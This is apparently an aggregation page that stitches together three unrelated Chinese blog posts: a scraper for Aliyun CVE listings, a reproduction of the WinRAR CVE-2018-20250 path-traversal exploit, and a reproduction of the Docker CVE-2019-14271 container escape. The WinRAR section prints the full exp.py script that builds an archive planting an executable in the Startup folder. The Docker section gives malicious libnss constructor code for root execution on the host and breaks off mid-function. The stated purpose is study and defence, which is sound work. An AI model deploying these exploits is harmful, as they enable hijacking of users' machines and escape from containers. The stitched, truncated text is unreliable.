精华内容
下载资源
问答
  • 'cvs_level': '高危'} {'cve_id': 'CVE-2021-39160', 'vul_name': 'nbgitpuller up to 0.10.1 code injection', 'cul_type': 'CWE-94', 'cve_date': '2021-08-26', 'cvs_level': '严重'} {'cve_id': 'CVE-2021-...

            水一篇爬取阿里漏洞库信息的文章,有好几周没写爬虫了,在爬取时感觉还是xpath爬取高效些,但是用的正则匹配(re库,python内置),正则虽说在写匹配样式时比较繁琐但是精确匹配还是得用它,只 爬取第1页信息,没有使用多线程或者异步进程,更没有选择将数据持久化到数据库。还是懒,后面会把爬取全部页面的源码及多线程和持久化加进去,先这样了!

    # @Time : 2021/8/27 21:56
    # @Author : huhu-Z
    # @File : ali_cvd_detail.py
    # -*- coding: utf-8 -*-
    import re
    
    import requests
    from random import randint
    
    
    def get_onepage_content(url):
        user_agent = ['Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',
                      'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0',
                      'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0']
        try:
            response = requests.get(url, headers={'User-Agent':user_agent[randint(0,2)]})
            if response.status_code == 200:
                # print(response.text)
                return response.text
            return
        except Exception:
            return
    
    
    def show_cve_content(res):
        match = re.compile('<tr>.*?target="_blank">(.*?)</a></td>.*?<td>(.*?)</td>.*?<button.*?>(.*?)</button>.*?nowrap="nowrap">(.*?)</td>' +
                           '.*?<button.*?>(.*?)</button>.*?</tr>', re.S)
        contents = re.findall(match, res)
        # print(contents)
        for content in contents:
            yield {
                'cve_id'   : content[0].strip(),
                'vul_name' : content[1],
                'cul_type' : content[2].strip(),
                'cve_date' : content[-2].strip(),
                'cvs_level': content[-1].strip()
            }
    
    
    def save_content_to_text(content):
        with open('ali_cve.txt','a+') as f:
            f.write(content + '\n')
    
    
    def main():
        url = 'https://avd.aliyun.com/nvd/list?page=1'
        html = get_onepage_content(url)
        # print(html)
        for content in show_cve_content(html):
            save_content_to_text(str(content))
            # print(content)
    
    
    
    if __name__ == "__main__":
        main()

    爬取的结果如下:

    {'cve_id': 'CVE-2021-26084', 'vul_name': 'Confluence远程代码执行漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-26', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-39136', 'vul_name': 'baserCMS Management System cross site scripting', 'cul_type': 'CWE-79', 'cve_date': '2021-08-26', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-39160', 'vul_name': 'nbgitpuller up to 0.10.1 code injection', 'cul_type': 'CWE-94', 'cve_date': '2021-08-26', 'cvs_level': '严重'}
    {'cve_id': 'CVE-2021-28612', 'vul_name': 'Adobe After Effects up to 18.2 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28614', 'vul_name': 'Adobe After Effects up to 18.2 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28617', 'vul_name': 'Adobe Animate up to 21.0.6 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28620', 'vul_name': 'Adobe Animate up to 21.0.6 heap-based overflow', 'cul_type': 'CWE-122', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28621', 'vul_name': 'Adobe Animate up to 21.0.6 out-of-bounds read', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28622', 'vul_name': 'Adobe Animate up to 21.0.6 out-of-bounds write', 'cul_type': 'CWE-787', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28629', 'vul_name': 'Adobe Animate up to 21.0.6 heap-based overflow', 'cul_type': 'CWE-122', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28630', 'vul_name': 'Adobe Animate up to 21.0.6 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '低危'}
    {'cve_id': 'CVE-2021-28600', 'vul_name': 'Adobe After Effects up to 18.2 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28602', 'vul_name': 'Adobe After Effects up to 18.2 memory corruption', 'cul_type': 'CWE-788', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28603', 'vul_name': 'Adobe After Effects up to 18.2 heap-based overflow', 'cul_type': 'CWE-122', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28605', 'vul_name': 'Adobe After Effects up to 18.2 buffer overflow', 'cul_type': 'CWE-788', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28607', 'vul_name': 'Adobe After Effects up to 18.2 heap-based overflow', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28610', 'vul_name': 'Adobe After Effects up to 18.2 heap-based overflow', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-28611', 'vul_name': 'Adobe After Effects up to 18.2 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28615', 'vul_name': 'Adobe After Effects up to 18.2 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28616', 'vul_name': 'Adobe After Effects up to 18.2 out-of-bounds read', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '中危'}
    {'cve_id': 'CVE-2021-28632', 'vul_name': 'Adobe Acrobat Reader use after free', 'cul_type': 'CWE-416', 'cve_date': '2021-08-25', 'cvs_level': '高危'}
    {'cve_id': 'CVE-2021-3486', 'vul_name': 'Corel Parallels Desktop 安全漏洞', 'cul_type': 'CWE-79', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-35987', 'vul_name': 'Adobe Acrobat 缓冲区错误漏洞', 'cul_type': 'CWE-125', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28697', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28699', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28700', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28698', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28696', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28694', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}
    {'cve_id': 'CVE-2021-28695', 'vul_name': 'Xen安全漏洞', 'cul_type': '未定义', 'cve_date': '2021-08-25', 'cvs_level': '未知'}

    展开全文
  • 系统安全将更加聚焦、系统和深入,也是作者安全的慢慢学习路记录。...本文将详细介绍WinRAR漏洞(CVE-2018-20250),并介绍该漏洞威胁和分享恶意软件自启动劫持原理。基础性文章,希望对您有所帮助!

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

    前文带大家学习了网络安全攻防知识点,并以医疗数据安全为基础进行总结。本文将详细介绍WinRAR漏洞(CVE-2018-20250),并介绍该漏洞威胁和分享恶意软件自启动劫持原理。基础性文章,希望对您有所帮助!

    希望这些基础原理能更好地帮助大家做好防御和保护,基础性文章,希望对您有所帮助。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!

    作者的github资源:

    从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

    接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

    前文分析:

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


    一.WinRAR漏洞复现

    1.复现

    WinRAR漏洞(CVE-2018-20250)是Check Point团队于2019年2月爆出的严重安全漏洞,该漏洞已存在于WinRAR中19年,由于WinRAR使用了一个陈旧的UNACEV2.dll动态链接库造成的。当我们解压任意ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意软件写入操作系统启动Startup文件夹,并且电脑重启时会自动运行该程序,从而造成恶意软件劫持。通过该漏洞可以获得受害者计算机的控制。安全专家表示全球有超过5亿用户受到WinRAR漏洞影响。

    在这里插入图片描述

    下面我们先来复现该漏洞。该漏洞会对多种压缩软件造成影响,版本如下:

    • WinRAR < 5.70 Beta 1
    • Bandizip < = 6.2.0.0
    • 好压(2345压缩) < = 5.9.8.10907
    • 360压缩 < = 4.0.0.1170

    第一步,安装WinRAR 5.6.1的版本,后续5.7升级弥补了该漏洞。作者的电脑是Win10操作系统。

    在这里插入图片描述

    安装之后可以看到本地存在的UNACEV2.DLL动态链接库,它就是被利用的入口。

    在这里插入图片描述


    第二步,从github中下载漏洞利用程序,如下图所示。

    • hello.txt和world.txt是需要压缩的文件
    • calc.exe是计算器,可以替换成恶意软件,它会被定向植入系统启动目录
    • exp.py是运行的Python代码,它会将hello.txt和world.txt压缩,并隐藏恶意软件
    • acefile.py是利用UNACEV2.DLL漏洞的代码,共4000多行
      下载地址:https://github.com/backlion/CVE-2018-20250

    在这里插入图片描述

    我们尝试打开exp.py文件,代码如下,其中恶意软件为“calc.exe”、压缩包名称为“test.rar”、需要压缩的文件为“hello.txt”和“world.txt”、隐藏的路径为Windows系统开机启动的目录,并命名为“hi.exe”。读者也可以尝试修改名称,自定义需要压缩的文件及恶意软件。

    #!/usr/bin/env python3
    
    import os
    import re
    import zlib
    import binascii
    
    # The archive filename you want
    rar_filename = "test.rar"
    # The evil file you want to run
    evil_filename = "calc.exe"
    # The decompression path you want, such shown below
    target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
    # Other files to be displayed when the victim opens the winrar
    # filename_list=[]
    filename_list = ["hello.txt", "world.txt"]
    
    class AceCRC32:
        def __init__(self, buf=b''):
            self.__state = 0
            if len(buf) > 0:
                self += buf
    
        def __iadd__(self, buf):
            self.__state = zlib.crc32(buf, self.__state)
            return self
    
        def __eq__(self, other):
            return self.sum == other
    
        def __format__(self, format_spec):
            return self.sum.__format__(format_spec)
    
        def __str__(self):
            return "0x%08x" % self.sum
    
        @property
        def sum(self):
            return self.__state ^ 0xFFFFFFFF
    
    def ace_crc32(buf):
        return AceCRC32(buf).sum
    
    def get_ace_crc32(filename):
        with open(filename, 'rb') as f:
            return ace_crc32(f.read())
    
    def get_right_hdr_crc(filename):
        # This command may be different, it depends on the your Python3 environment.
        p = os.popen('py -3 acefile.py --headers %s'%(filename))
        res = p.read()
        pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
        result = pattern.findall(res)
        right_hdr_crc = result[0].upper()
        return hex2raw4(right_hdr_crc)
    
    def modify_hdr_crc(shellcode, filename):
        hdr_crc_raw = get_right_hdr_crc(filename)
        shellcode_new = shellcode.replace("6789", hdr_crc_raw)
        return shellcode_new
    
    def hex2raw4(hex_value):
        while len(hex_value) < 4:
            hex_value = '0' + hex_value
        return hex_value[2:] + hex_value[:2]
    
    def hex2raw8(hex_value):
        while len(hex_value) < 8:
            hex_value = '0' + hex_value
        return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]
    
    def get_file_content(filename):
        with open(filename, 'rb') as f:
            return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'
    
    def make_shellcode(filename, target_filename):
        if target_filename == "":
            target_filename = filename
        hdr_crc_raw = "6789"
        hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
        packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
        origsize_raw = packsize_raw
        crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
        filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
        filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
        content_raw = get_file_content(filename)
        shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
                  + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
                  + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
        return shellcode
    
    def build_file(shellcode, filename):
        with open(filename, "wb") as f:
            f.write(binascii.a2b_hex(shellcode.upper()))
    
    def build_file_add(shellcode, filename):
        with open(filename, "ab+") as f:
            f.write(binascii.a2b_hex(shellcode.upper()))
    
    def build_file_once(filename, target_filename=""):
        shellcode = make_shellcode(filename, target_filename)
        build_file_add(shellcode, rar_filename)
        shellcode_new = modify_hdr_crc(shellcode, rar_filename)
        content_raw = get_file_content(rar_filename).upper()
        build_file(content_raw.replace(shellcode.upper(),
                                       shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9",
                                                                      get_file_content(filename)), rar_filename)
    
    if __name__ == '__main__':
        print("[*] Start to generate the archive file %s..."%(rar_filename))
    
        shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
        build_file(shellcode_head, rar_filename)
    
        for i in range(len(filename_list)):
            build_file_once(filename_list[i])
    
        build_file_once(evil_filename, target_filename)
    
        print("[+] Evil archive file %s generated successfully !"%(rar_filename))
    

    第三步,打开Python运行exp.py代码,将自动生成test.rar压缩包。
    注意,如果未安装Python或相关包,需要进行安装。同时不能双击exp.py,需要Python来运行代码。

    在这里插入图片描述


    第四步,此时在当前文件夹生成了test.rar文件,将该压缩包发送给其他用户,如果目标电脑存在WinRAR漏洞,则会造成影响。

    在这里插入图片描述

    注意:QQ和Win10防火墙已经能识别出该CVE漏洞号,如下图所示。

    在这里插入图片描述


    第五步,当目标用户在桌面解压该文件夹,则会在电脑启动目录放入我们的木马文件,命名为“hi.exe”。

    在这里插入图片描述

    Win10路径:
    C:\Users\yxz\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

    在这里插入图片描述

    这里演示的是计算器,而如果植入恶意软件,则每次目标开机运行就会自启动该恶意代码。

    在这里插入图片描述

    注意:当目标用户解压我们文件时,其解压目录必须是 C:/users/当前用户/目录下,也就是必须是在下面这些目录中解压的该文件。压缩包中隐藏了深层次的路径,xp系统自启动路径可能不同。

    在这里插入图片描述



    2.原理及预防

    那么,该漏洞的基本原理是什么呢?
    由于该漏洞会对多种压缩软件造成影响,并且该漏洞主要是由于WinRAR解压ACE压缩包采用的动态链接库UNACEV2.dll造成的。其原理是:UNACEV2.dll在处理filename时只校验了CRC,黑客可以通过更改压缩包的CRC校验码来修改解压时的filename并触发这个Path Traversal漏洞。

    但是WinRAR本身检测了filename,有一些限制并且普通用户解压RAR文件时不能将我们恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的C:\Users\Administrator\Downloads目录下时,通过构造目录:

    C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\hi.exe
    

    该目录经过WinRAR的CleanPath函数处理会变成:

    C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\hi.exe
    

    其中C:会被转换成当前路径,如果用WinRAR打开,那么当前路径就是C:\Program Files\WinRAR,要是在文件夹中右键解压到xxx,那么当前路径就是压缩包所在的路径。当用户在文件夹中直接右键解压到xxx时,我们恶意的payload解压地址就会变成:

    C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\hi.exe
    

    这就是当前用户的启动项,从而这样完成了从一个Path Traversal到任意命令执行的过程。

    在WinRAR内一直点击进入目录可看到hi.exe的具体信息,如下图所示,可以看到其是ACE压缩文件。

    在这里插入图片描述

    当受害者通过WinRAR直接解压该文件便会触发该漏洞,从而释放内置的恶意程序(hi.exe)到用户windows系统的启动目录内,使得下次重启系统的时候该恶意程序能自动启动运行。

    Win10开机自启动如下图所示:

    在这里插入图片描述

    Win7开机自启动如下图所示:

    在这里插入图片描述


    那么,又如何预防该漏洞呢?
    当该漏洞爆出之后,很多厂商都升级了压缩软件的版本,不再支持ACE存档格式,比如WinRAR 5.70 Beta 1,并且删除了UNACEV2.dll动态链接库。据Check Point研究人员所述,WinRAR的UNACEV2.dll代码库自2005年以来就一直没有被主动使用过。安全建议如下:

    • UNACEV2.dll漏洞不仅限于WinRAR,包括WinRAR在内的多款压缩解压缩工具均存在风险,建议用户将这些软件全部升级到最新版本,推荐使用安全电脑管家的软件管理来完成。
    • 直接删除WinRAR安装目录下的UNACEV2.DLL文件,但会造成ACE格式的压缩文件无法使用(不过影响很小,拥有ACE格式专利的商业公司已倒闭十多年了,你完全可以抛弃ACE压缩格式)。
    • 切勿随意轻信、打开来历、用途不明的文件。 同时也别担心,QQ传输、Win10自带防火墙都能识别出该漏洞。

    在这里插入图片描述


    二.恶意软件劫持原理

    下面作者参考FreeBuf网站腾讯电脑管家的文章,讲述该恶意软件劫持的原理。
    强推:WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖 - freebuf腾讯电脑管家


    WinRAR漏洞的利用流程图如下所示,恶意ACE文件被受害者解压之后,会释放恶意木马至指定目录(系统自启动文件夹),受害者重启电脑会执行恶意木马。

    在这里插入图片描述

    该漏洞被深入利用的案例如下:
    WinRAR高危漏洞被用来传播Lime-RAT远程控制木马
    WinRAR(ace格式解压)漏洞备受青睐攻击样本层出不穷

    攻击手段升级之后的原理如下图所示:

    WinRAR恶意攻击升级案例1

    WinRAR漏洞利用结合恶意lnk躲避杀毒软件查杀,同时增加恶意木马执行的概率。

    在这里插入图片描述

    样本文件名为“mirotvorec.rar”,打开压缩包如下图所示:

    在这里插入图片描述

    解压mirotvorec.rar后,发现该压缩包同时还释放了两个lnk文件和一个exe文件。

    • 文件1:用户配置目录
      %userprofile%\win.exe
    • 文件2:开始菜单启动目录
      c:\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Goggle Chrome.lnk
    • 文件3:桌面快捷方式
      c:\desktop\GoggleChrome.lnk

    对应的二进制如下图所示:

    在这里插入图片描述

    文件1为最终要执行的恶意木马,被释放到了%userprofile%(用户目录)下;文件2和文件3内容完全相同,均伪装为Chrome浏览器的快捷启动方式(为区分攻击者拼写错误,把Google写成了Goggle),但该lnk实际上指向的启动文件为%userprofile%\win.exe,即文件1。

    在这里插入图片描述

    注意,如果在用户目录直接执行win.exe,还需要输入正确的密码,才会继续执行。密码是上图快捷方式win.exe的执行参数。如果双击goggle chrome.lnk,密码参数会自动执行,不会出现下图提交密码的对话框。

    在这里插入图片描述

    本次攻击与以往利用WinRAR漏洞的攻击方式存在以下差别:

    • 为了躲避杀软查杀,最终执行的恶意木马没有释放到系统自启动目录,而是释放到用户目录下。同时,为了确保恶意木马能够在重启后顺利执行,将伪装为Chrome浏览器快捷启动方式的恶意lnk释放到了系统自启动目录,该lnk实际上为恶意木马的快捷启动方式。
    • 为了提高恶意木马被执行的概率,同时弥补WinRAR漏洞利用需要重启的缺陷,攻击者还将恶意lnk释放到了桌面,诱导受害者手动点击运行。
    • 为了躲避杀毒软件查杀,恶意木马需要输入正确的密码方可执行(这就避免了杀毒厂商的自动分析工具发现异常)。
    • 用户重启系统或者双击运行恶意lnk,均可执行恶意木马。

    WinRAR恶意攻击升级案例2

    恶意bat文件(__Denuncia_Activa_CL.PDF.bat )下载并解压ACE文件,同时强制系统重启,确保恶意木马执行。攻击样本及具体分析如下。

    在这里插入图片描述

    notepad++打开bat文件,文本内容为乱码,发现右下脚提示该文件使用了UCS-2 Little-endian编码。

    在这里插入图片描述

    重新使用16进制编辑器打开bat文件,即可看到真实的文件内容。执行bat文件,首先生成一个随机数,用于重命名即将下载的恶意rar文件。

    在这里插入图片描述

    设置下载目录、文件名等,并启用powershell命令从硬编码的url下载恶意rar文件。

    在这里插入图片描述

    使用WinRAR解压,将恶意木马释放到系统启动项目录,执行“shutdown -r”命令强制重启系统,确保恶意木马能在第一时间启动。

    在这里插入图片描述


    三.总结

    写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。十二月了,感觉时间过得真快啊。同时,觉得自己的技术好浅,要学的知识好多,读博真心不容易,希望自己这四年能不断成长!

    最后谢谢CSDN的实体勋章和无线耳机,很幸运,1024写文混了第一名(因为有小珞)希望今年能写上120篇原创文章,在这么忙碌的博士生涯,能写这些真心不容易,都是挤出来的。

    在这里插入图片描述

    最后感谢CSDN和读者们十年的陪伴,不论外面如何评价CSDN,这里始终是我的家,在这里写文章很温馨,也认识了很多大佬和朋友。此外,个人感觉今年是我近十年文章质量最高的一年,每一篇都写得很用心,都是我的血肉,很多都要自己从零去学习再分享,也希望帮助更多初学者。总之,希望自己还能写二十年,五十年,一辈子。这些年CSDN改进真挺多的,也一直为博主着想,希望越来越好。感恩同行,一起加油喔,以后没准小珞珞接管“Eastmount”这个账号,哈哈!

    在这里插入图片描述

    (By:Eastmount 2021-12-02 夜于武汉 http://blog.csdn.net/eastmount/ )


    参考文献:
    [1] https://github.com/backlion/CVE-2018-20250
    [2] Winrar目录穿越漏洞复现 - 测试渗透中心
    [3] Winrar漏洞复现(CVE-2018-20250) - 谢公子大神
    [4] WinRAR漏洞CVE-2018-20250攻击样本分析 - freebuf网站 cgf99大神
    [5] WinRAR漏洞详细复现过程 - 泽英君
    [6] WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖 - freebuf腾讯电脑管家
    [7] WinRAR 高危漏洞预警 影响全球数亿台计算机
    [8] WinRAR高危漏洞被用来传播Lime-RAT远程控制木马
    [9] WinRAR(ace格式解压)漏洞备受青睐攻击样本层出不穷

    展开全文
  • CVE-2019-14271复现

    2021-11-26 12:36:09
    CVE-2019-14271:加载不受信任的动态链接库 docker cp依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却未被容器化。 hacker可以通过劫持容器内的nsswitch动态链接库实现对宿主机进程的代码注入,...

    CVE-2019-14271:加载不受信任的动态链接库

    docker cp依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却未被容器化。

    hacker可以通过劫持容器内的nsswitch动态链接库实现对宿主机进程的代码注入,获得宿主机上的代码执行能力

    问题所在:高权限进程自身未容器化,却加载了不可控的动态链接库,一旦控制了容器就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。

    原理

    执行docker cp后,docker daemon会启动一个docker-tar进程来完成这项复制任务。若要从容器内复制文件到宿主机上,docker-tar原理:

    ​ 会切换进程的根目录(执行chroot)到容器根目录,然后将需要复制的文件或目录打tar包传递给Docker daemon,Docker daemon负责将内容解包到用户指定的宿主机目标路径。

    • chroot:原本使用chroot,是位了避免了符号连接导致的路径穿越,但是docker-tar仅仅chroot到了容器的文件系统,而程序本身不是容器化的,其在主机命名空间中运行,这意味着docker-tar不受cgroup或seccomp的限制。如果这时候docker-tar加载了容器内部的恶意动态链接库(本来应该从主机文件系统中加载库,但是由于docker-tar chroots到了容器内,所以从容器文件系统中加载动态链接库),被注入恶意代码,那就能够获得对主机完全的root访问权限

    利用思路

    1. 找出docker-tar具体会加载那些容器内的动态链接库
    2. 下载对应动态链接库源码,为其增加一个__attribute__((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先被执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接文件
    3. 编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行docker cp命令,触发漏洞

    定位动态链接库

    定位docker-tar启动后会加载的容器内动态链接库?

    • 分析docker源码
    • 执行docker cp,查看容器内哪些动态链接库被加载了(可以使用Linux提供的inotify机制,监控文件系统的变化)
      • inotify-tools时一系列基于inotify机制开发的命令行工具,可以借助这些命令行工具监控docker-tar对容器内动态链接库的使用情况
    #docker run -itd --name=test ubuntu
    //拿到容器在宿主机上的绝对路径
    #docker exec -it test cat /proc/mounts | grep docker
    overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/X3TLF3OEJEGAFSQDE53ZRSLQYS:/var/lib/docker/overlay2/l/JHRUBAQR6XWQITKRQTUUY574R2,upperdir=/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/diff,workdir=/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/work 0 0
    
    
    • 加docker exec…存粹是,test无法访问其他容器在宿主的路径,所以精准定位

    请添加图片描述

    那么容器的根目录在宿主机上的绝对路径为:

    /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged
    
    f8514cf67d36d6349d07a6198800acda396/merged# apt install -y inotify-tools
    root@pmj-virtual-machine:/var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged# inotifywait -mr /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/
    Setting up watches.  Beware: since -r was given, this may take a while!
    Watches established.
    /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ OPEN libnss_files-2.31.so
    /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ ACCESS libnss_files-2.31.so
    /var/lib/docker/overlay2/b94b3b71aa3e6ba48bf449fabfe38f8514cf67d36d6349d07a6198800acda396/merged/lib/x86_64-linux-gnu/ CLOSE_NOWRITE,CLOSE libnss_files-2.31.so
    

    请添加图片描述

    可以看出docker-tarhua加载了libnss_files-2.31.so

    构建动态链接库

    https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库

      257  tar -jxvf glibc-2.31.tar.bz2 
      259  cd glibc-2.31
      261  vim Makeconfig   
    //注释这一行,关掉警告设置,避免加入恶意payload后编译失败
    #+gccwarn-c = -Wstrict-prototypes -Wold-style-definition
    

    在源码中添加恶意payload

    • 可以在/glibc-2.27/nss/nss_files目录下任意源码文件中添加payload
    • 这里选择files-service.c文件
      • 不必过多操作,作为一个获取控制权的途径,把真正具有威胁的操作放入容器内/breakout脚本中,让动态链接库去执行/breakout脚本文件即可

    在其中一个源文件中添加函数run_at_link(),使用构造函数定义该函数,所以每次进程加载时,run_at_link()函数都能够作为库的初始化函数执行,即docker-tar进程动态加载此库,函数就会执行

    在files-service.c文件中加入如下payload

    // content should be added into nss/nss_files/files-service.c
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/wait.h>
    //容器内部原始original_libnss_files.so.2文件的备份位置
    #define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
    //恶意original_libnss_files.so.2的位置
    #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
    
    bool is_priviliged();
    //带有constructor属性的函数会在动态链接库被加载时自动执行
    __attribute__ ((constructor)) void run_at_link(void) {
         char * argv_break[2];
        //判断当前是否时容器外的高权限进程(docker-tar)
        //如果时容器内进程,则不做任何操作
         if (!is_priviliged())
               return;
    	//攻击只需要执行一次即可
        //用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
        //避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
         rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
    	//以docker-tar进程的身份创建新进程,执行容器内的breakout脚本
         if (!fork()) {
            // Child runs breakout
            argv_break[0] = strdup("/breakout");
            argv_break[1] = NULL;
            execve("/breakout", argv_break, NULL);
         }
         else
            wait(NULL); // Wait for child
    
         return;
    }
    
    bool is_priviliged() {
         FILE * proc_file = fopen("/proc/self/exe", "r");
         if (proc_file != NULL) {
               fclose(proc_file);
               return false; // can open so /proc exists, not privileged
         }
